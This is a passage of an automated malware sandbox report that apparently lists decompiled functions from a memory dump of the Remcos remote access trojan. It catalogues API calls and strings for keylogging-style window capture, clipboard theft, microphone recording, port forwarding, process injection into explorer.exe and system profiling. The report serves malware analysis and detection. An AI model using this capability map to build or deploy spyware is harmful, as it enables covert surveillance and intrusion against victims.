Part of subcall function 00446137: RtlAllocateHeap.NTDLL(00000000,004352BC,?,?,00438847,?,?,00000000,00476B50,?,0040DE62,004352BC,?,?,?,?), ref: 00446169

MultiByteToWideChar.KERNEL32(00000001,00000001,00000001,00000000,00000000,?,?,0045405C,00000000,00000000,?,00000001,?,?,?,?), ref: 00453FD8
__freea.LIBCMT ref: 00454003
__freea.LIBCMT ref: 0045400F

Strings

\@E, xrefs: 00453F37, 00453DF1

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$__alloca_probe_16__freea$AllocateHeapInfo
String ID: \@E
API String ID: 201697637-1814623452
Opcode ID: 347d6d77569ccb8731e03be0652f4f39992ef0e8e93efb01081f6886d5a4a2b8
Instruction ID: bd5a1837779a5f2dcb5c2ea5aeb828518df7829aba760434011a70bbc407b236
Opcode Fuzzy Hash: 347d6d77569ccb8731e03be0652f4f39992ef0e8e93efb01081f6886d5a4a2b8
Instruction Fuzzy Hash: E391F472E002069ADB209E65CC42AEFBBF59F09756F14052BFC01E7282D739DD89C768

Function 00450A25 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 204COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00450A94
_free.LIBCMT ref: 00450AA2
_free.LIBCMT ref: 00450BD0
_free.LIBCMT ref: 00450BDB

Strings

\&G, xrefs: 00450C24
\&G, xrefs: 00450C1C
`&G, xrefs: 00450C34

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: _free
String ID: \&G$\&G$`&G
API String ID: 269201875-253610517
Opcode ID: 753e5f9e072138fb6cd7009167dc0b4a762ab6b47e26c8bd7c62549e421885b3
Instruction ID: 0b3297c67b001fbc5a9f4fbe1fd197d652097ca420ae28a40b4f72db8b3ed5d1
Opcode Fuzzy Hash: 753e5f9e072138fb6cd7009167dc0b4a762ab6b47e26c8bd7c62549e421885b3
Instruction Fuzzy Hash: 77610475900204AFDB20CFA9C882B9ABBF4EF05315F14416BED58EB342D774AD458B98

Function 00414BB0 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 158COMMON

Download Yara Rule

Strings

65535, xrefs: 00414BB3
udp, xrefs: 00414C60, 00414C68, 00414C6C

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID:
String ID: 65535$udp
API String ID: 0-1267037602
Opcode ID: c855b19cc43d9bec36cd86ac5f012ace8f0d54e169e32fa1a21da6d4488bf9b2
Instruction ID: ff24d6befd6f0703c902a6165bd45161ed4db0fb5f75d2635e7e580b9b2721aa
Opcode Fuzzy Hash: c855b19cc43d9bec36cd86ac5f012ace8f0d54e169e32fa1a21da6d4488bf9b2
Instruction Fuzzy Hash: EF51E7756093019FDB209B58E9057BB37A4AFC4755F08082FF881973A1E76DCCC1865E

Function 0040ACD6 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 156sleepCOMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 0040AD38
Sleep.KERNEL32(000001F4), ref: 0040AD43
GetForegroundWindow.USER32 ref: 0040AD49
GetWindowTextLengthW.USER32 ref: 0040AD52
GetWindowTextW.USER32 ref: 0040AD86
Sleep.KERNEL32(000003E8), ref: 0040AE54

Part of subcall function 0040A636: SetEvent.KERNEL32(?,?,00000000,0040B20A,00000000), ref: 0040A662

Strings

[, xrefs: 0040ADEE
minutes }, xrefs: 0040AE7A
{ User has been idle for , xrefs: 0040AE86
], xrefs: 0040ADE8

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: Window$SleepText$EventForegroundInit_thread_footerLength
String ID: [${ User has been idle for $ minutes }$]
API String ID: 911427763-3954389425
Opcode ID: feb8edceca8c1d3b0438b79f4b5d8782787a457fd28da8b62aac7c6790c891ec
Instruction ID: 3d5ee5432c15115af2c0f1375ae13a0ba8112eb59c463c5c733e63bb31497985
Opcode Fuzzy Hash: feb8edceca8c1d3b0438b79f4b5d8782787a457fd28da8b62aac7c6790c891ec
Instruction Fuzzy Hash: 6D51B1316043419BD314FB21D846AAE7796AB84308F50093FF586A22E2EF7C9D45C69F

Function 0040DA34 Relevance: 17.6, APIs: 1, Strings: 9, Instructions: 139COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNEL32 ref: 0040DB9A

Strings

WinDir, xrefs: 0040DA9B, 0040DABD, 0040DB0F
AppData, xrefs: 0040DB51
ProgramData, xrefs: 0040DB5F
\SysWOW64, xrefs: 0040DB00
ProgramFiles, xrefs: 0040DB6E
Temp, xrefs: 0040DA66
SystemDrive, xrefs: 0040DA91
\system32, xrefs: 0040DAAE
UserProfile, xrefs: 0040DB58

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: LongNamePath
String ID: AppData$ProgramData$ProgramFiles$SystemDrive$Temp$UserProfile$WinDir$\SysWOW64$\system32
API String ID: 82841172-425784914
Opcode ID: 05c2ad93f6cc2ee26ed5624d475cb04337695bae26b39c69aed6eb4faf56ef7b
Instruction ID: 0cc8b9c4d8a16f3fd89327f32322cd7e2fd47b59120d3573c9b2d8a81569e3eb
Opcode Fuzzy Hash: 05c2ad93f6cc2ee26ed5624d475cb04337695bae26b39c69aed6eb4faf56ef7b
Instruction Fuzzy Hash: FB414F715082019AC215FB61DC52DAEB3F8AE90718F10053FB546A60E2FFB8AE49C65F

Function 0043A83A Relevance: 16.6, APIs: 11, Instructions: 116COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,00000050,000000FF,00000000,00000000,?,?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A892
GetLastError.KERNEL32(?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A89F
__dosmaperr.LIBCMT ref: 0043A8A6
MultiByteToWideChar.KERNEL32(?,00000000,00000050,000000FF,00000000,00000000,?,?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A8D2
GetLastError.KERNEL32(?,?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A8DC
__dosmaperr.LIBCMT ref: 0043A8E3
WideCharToMultiByte.KERNEL32(?,00000000,00000000,000000FF,00000000,?,00000000,00000000,?,?,?,?,?,?,00401D55,?), ref: 0043A926
GetLastError.KERNEL32(?,?,?,?,?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A930
__dosmaperr.LIBCMT ref: 0043A937
_free.LIBCMT ref: 0043A943
_free.LIBCMT ref: 0043A94A

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: ByteCharErrorLastMultiWide__dosmaperr$_free
String ID:
API String ID: 2441525078-0
Opcode ID: 333218d4c374834d2f5605b8d1434d3a456e4a6d1d3d381f1630f1823c8abcb3
Instruction ID: 785efe6d9c8e3fffb8b85045f967b8474775cb8629fdf0d32462ae01257f7f2e
Opcode Fuzzy Hash: 333218d4c374834d2f5605b8d1434d3a456e4a6d1d3d381f1630f1823c8abcb3
Instruction Fuzzy Hash: FF31F57140420AFFDF01AFA5CC45DAF3B68EF09325F10021AF950662A1DB38CD21DB6A

Function 004054A0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 155windowmemoryCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?,?), ref: 004054BF
GetMessageA.USER32 ref: 0040556F
TranslateMessage.USER32(?), ref: 0040557E
DispatchMessageA.USER32 ref: 00405589
HeapCreate.KERNEL32(00000000,00000000,00000000,00000074,00474F78), ref: 00405641
HeapFree.KERNEL32(00000000,00000000,0000003B), ref: 00405679

Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36

Strings

CloseChat, xrefs: 00405609
GetMessage, xrefs: 004055F8
DisplayMessage, xrefs: 004055EC

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: Message$Heap$CreateDispatchEventFreeTranslatesend
String ID: CloseChat$DisplayMessage$GetMessage
API String ID: 2956720200-749203953
Opcode ID: 0cfa6036874a5bca0beebe56fa67ee0d4ba4c2ce27f22afbcff1deb0655a3de4
Instruction ID: c1940132788662b917c5ec79ff16bb55de46c7435784779dc5fc992d72e4b12f
Opcode Fuzzy Hash: 0cfa6036874a5bca0beebe56fa67ee0d4ba4c2ce27f22afbcff1deb0655a3de4
Instruction Fuzzy Hash: CE41A171604701ABCB14FB75DC5A86F37A9AB85704F40093EF916A36E1EF3C8905CB9A

Function 00417CDF Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 108filesynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00417F2C: __EH_prolog.LIBCMT ref: 00417F31

WaitForSingleObject.KERNEL32(00000000,000000FF,00000070,004660A4), ref: 00417DDC
CloseHandle.KERNEL32(00000000), ref: 00417DE5
DeleteFileA.KERNEL32(00000000), ref: 00417DF4
ShellExecuteExA.SHELL32(0000003C,00000000,00000010,?,?,?), ref: 00417DA8

Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36

Strings

0VG, xrefs: 00417E21
0VG, xrefs: 00417DB5
<, xrefs: 00417D83
@, xrefs: 00417D8A
Temp, xrefs: 00417D00

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: CloseDeleteExecuteFileH_prologHandleObjectShellSingleWaitsend
String ID: 0VG$0VG$<$@$Temp
API String ID: 1704390241-2575729100
Opcode ID: 1c1b3640276c9f2484efac8a9a88c7dcef26998f5c3edd0453bd207f6b4608f6
Instruction ID: cfce1e327495ca125f9f778a73892d1ad62a3a088d665d9de3c725e9e650d499
Opcode Fuzzy Hash: 1c1b3640276c9f2484efac8a9a88c7dcef26998f5c3edd0453bd207f6b4608f6
Instruction Fuzzy Hash: 0E415F319002099BCB14FB62DC56AEE7775AF40318F50417EF506764E1EF7C1A8ACB99

Function 00416940 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 46clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00416941
EmptyClipboard.USER32 ref: 0041694F
CloseClipboard.USER32 ref: 00416955
OpenClipboard.USER32 ref: 0041695C
GetClipboardData.USER32 ref: 0041696C
GlobalLock.KERNEL32 ref: 00416975
GlobalUnlock.KERNEL32(00000000), ref: 0041697E
CloseClipboard.USER32 ref: 00416984

Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36

Strings

!D@, xrefs: 00417089

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: Clipboard$CloseGlobalOpen$DataEmptyLockUnlocksend
String ID: !D@
API String ID: 2172192267-604454484
Opcode ID: 014ab2952fb1720400378532343d04f3ca6c69c69b6d94fb269798378f0b3219
Instruction ID: 305b70c8a6b081cbeb1fc088e42579eafb4add048c4ccd3ac1cf7446a02d8759
Opcode Fuzzy Hash: 014ab2952fb1720400378532343d04f3ca6c69c69b6d94fb269798378f0b3219
Instruction Fuzzy Hash: CC015E31214301DFC714BB72DC09AAE77A5AF88742F40047EF906821E2DF38CC44CA69

Function 004132D2 Relevance: 15.2, APIs: 10, Instructions: 153fileCOMMON

Download Yara Rule

APIs

CreateFileMappingW.KERNEL32(?,00000000,00000002,00000000,00000000,00000000), ref: 00413417
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 00413425
GetFileSize.KERNEL32(?,00000000), ref: 00413432
UnmapViewOfFile.KERNEL32(00000000), ref: 00413452
CloseHandle.KERNEL32(00000000), ref: 0041345F
CloseHandle.KERNEL32(?), ref: 00413465

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: File$CloseHandleView$CreateMappingSizeUnmap
String ID:
API String ID: 297527592-0
Opcode ID: 1b52e587fb9d9e89c8408f811d16bdaf082f1bab315b69f0c216b55e30adf48b
Instruction ID: 9e0538afe5582c7c3c7070a3da709670e2bb39b60280b40541f30be5467d1837
Opcode Fuzzy Hash: 1b52e587fb9d9e89c8408f811d16bdaf082f1bab315b69f0c216b55e30adf48b
Instruction Fuzzy Hash: ED41E631108305BBD7109F25DC4AF6B3BACEF89726F10092AFA14D51A2DF38DA40C66E

Function 0041AB0D Relevance: 15.1, APIs: 10, Instructions: 66serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000011,00000000,00000001,?,?,?,?,?,?,0041A486,00000000), ref: 0041AB1C
OpenServiceW.ADVAPI32(00000000,00000000,000F003F,?,?,?,?,?,?,0041A486,00000000), ref: 0041AB33
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A486,00000000), ref: 0041AB40
ControlService.ADVAPI32(00000000,00000001,?,?,?,?,?,?,?,0041A486,00000000), ref: 0041AB4F
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A486,00000000), ref: 0041AB60
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A486,00000000), ref: 0041AB63

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: Service$CloseHandle$Open$ControlManager
String ID:
API String ID: 221034970-0
Opcode ID: 06969d4054276dbf450069cd14adbb04630f9483e2dd0d38d9b092c5558579ee
Instruction ID: 6fbe0b082825830d9e24babaefac53afed48758aa8e56b4d18e4903ff4329a9c
Opcode Fuzzy Hash: 06969d4054276dbf450069cd14adbb04630f9483e2dd0d38d9b092c5558579ee
Instruction Fuzzy Hash: 41114C71901218AFD711AF64DCC4DFF3B7CDB42B62B000036FA05D2192DB289C46AAFA

Function 00448121 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00448135

Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000), ref: 00446798
Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA

_free.LIBCMT ref: 00448141
_free.LIBCMT ref: 0044814C
_free.LIBCMT ref: 00448157
_free.LIBCMT ref: 00448162
_free.LIBCMT ref: 0044816D
_free.LIBCMT ref: 00448178
_free.LIBCMT ref: 00448183
_free.LIBCMT ref: 0044818E
_free.LIBCMT ref: 0044819C

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 27d76b13a5ecae076ca6598a5b1433465caaf67949f0bdc0fbde8a5d49186781
Instruction ID: 63500befab30bf138fa449b3e81d3956d19e40097f86fc95f12732a98ce5ff4f
Opcode Fuzzy Hash: 27d76b13a5ecae076ca6598a5b1433465caaf67949f0bdc0fbde8a5d49186781
Instruction Fuzzy Hash: C211B67A500508BFEB01EF96C842CDD3BA5FF05359B0240AAFA588F222DA35DF509BC5

Function 004114F5 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 191COMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?,?), ref: 00411514
inet_ntoa.WS2_32(?), ref: 004115AF

Strings

GetDirectListeningPort, xrefs: 004116B2
StopForward, xrefs: 00411690
StartForward, xrefs: 00411673
StopReverse, xrefs: 004116A1
StartReverse, xrefs: 0041167F
NG, xrefs: 0041153A

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: Eventinet_ntoa
String ID: GetDirectListeningPort$StartForward$StartReverse$StopForward$StopReverse$NG
API String ID: 3578746661-3604713145
Opcode ID: 4f065297b3db04d08fab799040971db11ee763eabe84935d17a6cb70e7b06ee3
Instruction ID: 71dfdc03858149a45142756d2b421c0b7bbb6d70992310a40494c7f1f0681c69
Opcode Fuzzy Hash: 4f065297b3db04d08fab799040971db11ee763eabe84935d17a6cb70e7b06ee3
Instruction Fuzzy Hash: 0051C131A042015BC614FB36C91AAAE37A5AB85344F40453FF906A76F1EF7C8985C7DE

Function 00455F04 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 154COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,?,00456FFF), ref: 00455F27

Strings

sqrt, xrefs: 004560AB
asin, xrefs: 00456093
log, xrefs: 00455FCD, 00455FD9
log10, xrefs: 00455F71, 00455FC1
exp, xrefs: 00455FEC, 0045604E
acos, xrefs: 0045609F
pow, xrefs: 0045600B, 004560B7, 004560CA

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: DecodePointer
String ID: acos$asin$exp$log$log10$pow$sqrt
API String ID: 3527080286-3064271455
Opcode ID: 629998c7ca290600fade91f32205cb7004f8bc569fe6c3e827db03ba52e3cc78
Instruction ID: ff4fc8d1aadbe784407353d8516796ad37925c88dabf63da6293f70e8270e0de
Opcode Fuzzy Hash: 629998c7ca290600fade91f32205cb7004f8bc569fe6c3e827db03ba52e3cc78
Instruction Fuzzy Hash: 16519F71900909CBCF10CF58E9485BEBBB0FF49306FA14197D841A73A6DB399D298B1E

Function 0044B3BC Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 152fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32 ref: 0044B3FE
__fassign.LIBCMT ref: 0044B479
__fassign.LIBCMT ref: 0044B494
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,FF8BC35D,00000005,00000000,00000000), ref: 0044B4BA
WriteFile.KERNEL32(?,FF8BC35D,00000000,0044BB31,00000000), ref: 0044B4D9
WriteFile.KERNEL32(?,?,00000001,0044BB31,00000000), ref: 0044B512

Strings

PkGNG, xrefs: 0044B3BE

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID: PkGNG
API String ID: 1324828854-263838557
Opcode ID: e1ab2fdd82c1bf82b8ea5de4eaaa1e5c3a736621917fd27297e58c6e874c6116
Instruction ID: 24f44d390d373c30b0d8a34eda065edd0bccebe0da4884afe324d1cece3cc5ea
Opcode Fuzzy Hash: e1ab2fdd82c1bf82b8ea5de4eaaa1e5c3a736621917fd27297e58c6e874c6116
Instruction Fuzzy Hash: 0751D270900208AFDB10CFA8D885AEEFBF4EF09305F14856BE955E7292D734D941CBA9

Function 00417495 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 104sleepfileCOMMON

Download Yara Rule

APIs

ShellExecuteW.SHELL32(00000000,open,dxdiag,00000000,00000000,00000000), ref: 004174F5

Part of subcall function 0041C485: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0041C49E

Sleep.KERNEL32(00000064), ref: 00417521
DeleteFileW.KERNEL32(00000000), ref: 00417555

Strings

dxdiag, xrefs: 004174EA
/t , xrefs: 004174D4
open, xrefs: 004174EF
\sysinfo.txt, xrefs: 004174A0
temp, xrefs: 004174A5

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: File$CreateDeleteExecuteShellSleep
String ID: /t $\sysinfo.txt$dxdiag$open$temp
API String ID: 1462127192-2001430897
Opcode ID: 1f6a825730162cc8d70e4a327bcc3a42f02bec4a5cc2bca23683888e0af1c848
Instruction ID: 51d64fe7c8a5c54eac4555a52c350958ac4104e8f54c8767ba2a87230734c78e
Opcode Fuzzy Hash: 1f6a825730162cc8d70e4a327bcc3a42f02bec4a5cc2bca23683888e0af1c848
Instruction Fuzzy Hash: 1431307194011A9ADB04FB62DC96DED7779AF50309F40017EF606730E2EF785A8ACA9C

Function 004073AC Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 99COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00472B14,00000000,004752D8,00003000,00000004,00000000,00000001), ref: 004073DD
GetCurrentProcess.KERNEL32(00472B14,00000000,00008000,?,00000000,00000001,00000000,00407656,C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe), ref: 0040749E

Strings

[+] NtAllocateVirtualMemory Success, xrefs: 00407410
windir, xrefs: 004073EA
PEB: %x, xrefs: 004074AF
\explorer.exe, xrefs: 00407400
explorer.exe, xrefs: 00407450, 0040747B
[-] NtAllocateVirtualMemory Error, xrefs: 0040743D

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: CurrentProcess
String ID: PEB: %x$[+] NtAllocateVirtualMemory Success$[-] NtAllocateVirtualMemory Error$\explorer.exe$explorer.exe$windir
API String ID: 2050909247-4242073005
Opcode ID: 539e8bced36223118afef646be0064b2910b8cfba0236f50484b60453eb32d25
Instruction ID: f630994b7aed3d2c1b9b8fa2b3e4f68b22e8b08ead4833dea6669ff7d567ef23
Opcode Fuzzy Hash: 539e8bced36223118afef646be0064b2910b8cfba0236f50484b60453eb32d25
Instruction Fuzzy Hash: 7031A471A04700ABD321FF65ED46F167BB8AB44305F10087EF515A6292E7B8B8448B6F

Function 00401D0B Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 89COMMON

Download Yara Rule

APIs

_strftime.LIBCMT ref: 00401D50

Part of subcall function 00401A6D: CreateFileW.KERNEL32(00000000,40000000,00000000), ref: 00401AD9

waveInUnprepareHeader.WINMM(00472A88,00000020,00000000), ref: 00401E02
waveInPrepareHeader.WINMM(00472A88,00000020), ref: 00401E40
waveInAddBuffer.WINMM(00472A88,00000020), ref: 00401E4F

Strings

.wav, xrefs: 00401D69
dMG, xrefs: 00401D81
|MG, xrefs: 00401E08
%Y-%m-%d %H.%M, xrefs: 00401D41

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: wave$Header$BufferCreateFilePrepareUnprepare_strftime
String ID: %Y-%m-%d %H.%M$.wav$dMG$|MG
API String ID: 3809562944-243156785
Opcode ID: 056d7ed0179ee1e3bc41876d6f94bfa6cd5a524795bf822a31929a0c00ad1597
Instruction ID: 027c37fd5a1300b84eaed5fd93cda356eabc1c7fedb6cd9f381e221a57c36ff8
Opcode Fuzzy Hash: 056d7ed0179ee1e3bc41876d6f94bfa6cd5a524795bf822a31929a0c00ad1597
Instruction Fuzzy Hash: 383181315043019FC324EB21DD46A9A77A8EB84314F40443EF18DA21F2EFB89A49CB5E

Function 00410E61 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00410E6E
int.LIBCPMT ref: 00410E81

Part of subcall function 0040E0C1: std::_Lockit::_Lockit.LIBCPMT ref: 0040E0D2
Part of subcall function 0040E0C1: std::_Lockit::~_Lockit.LIBCPMT ref: 0040E0EC

std::_Facet_Register.LIBCPMT ref: 00410EC1
std::_Lockit::~_Lockit.LIBCPMT ref: 00410ECA
__CxxThrowException@8.LIBVCRUNTIME ref: 00410EE8
__Init_thread_footer.LIBCMT ref: 00410F29

Strings

0kG, xrefs: 00410F31
,kG, xrefs: 00410F04

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_Init_thread_footerRegisterThrow
String ID: ,kG$0kG
API String ID: 3815856325-2015055088
Opcode ID: e119dbdcd7508405a4e8dfb13a442e59be6990f0aecb212b832b7139a16d9266
Instruction ID: 12cf7b7900226bd12227407fb3b1cbab205c4dd0745ae636880afd2a72082c2f
Opcode Fuzzy Hash: e119dbdcd7508405a4e8dfb13a442e59be6990f0aecb212b832b7139a16d9266
Instruction Fuzzy Hash: 162134329005249BC704EB6AD9428DE37A8EF48324F20056FF804A72D1DBB9AD81CB9D

Function 00401BE9 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 71COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(00000000,00000000), ref: 00401BF9
waveInOpen.WINMM(00472AC0,000000FF,00472AA8,Function_00001D0B,00000000,00000000), ref: 00401C8F
waveInPrepareHeader.WINMM(00472A88,00000020), ref: 00401CE3
waveInAddBuffer.WINMM(00472A88,00000020), ref: 00401CF2
waveInStart.WINMM ref: 00401CFE

Strings

dMG, xrefs: 00401BED
|MG, xrefs: 00401C9B
PG, xrefs: 00401C27

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: wave$BufferCreateDirectoryHeaderOpenPrepareStart
String ID: dMG$|MG$PG
API String ID: 1356121797-532278878
Opcode ID: f0413ad6b7edbe83be065844dac3f0d77922414ea45c2d30098e63d2db50c4df
Instruction ID: ba088f7df0b955e0db37e5e5e2d8d6799d5f59e9c832501e8260ac80857d70f0
Opcode Fuzzy Hash: f0413ad6b7edbe83be065844dac3f0d77922414ea45c2d30098e63d2db50c4df
Instruction Fuzzy Hash: 53212A71604201AFC739DF6AEE15A6A7BB6FB94715B00803FA10DD76B1DBB84881CB5C

Function 0041D45D Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 48windowstringCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 0041D476

Part of subcall function 0041D50F: RegisterClassExA.USER32 ref: 0041D55B
Part of subcall function 0041D50F: CreateWindowExA.USER32 ref: 0041D576
Part of subcall function 0041D50F: GetLastError.KERNEL32 ref: 0041D580

ExtractIconA.SHELL32(00000000,?,00000000), ref: 0041D4AD
lstrcpynA.KERNEL32(00474B60,Remcos,00000080), ref: 0041D4C7
Shell_NotifyIconA.SHELL32(00000000,00474B48), ref: 0041D4DD
TranslateMessage.USER32(?), ref: 0041D4E9
DispatchMessageA.USER32 ref: 0041D4F3
GetMessageA.USER32 ref: 0041D500

Strings

Remcos, xrefs: 0041D4B8

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: Message$Icon$ClassCreateDispatchErrorExtractFileLastModuleNameNotifyRegisterShell_TranslateWindowlstrcpyn
String ID: Remcos
API String ID: 1970332568-165870891
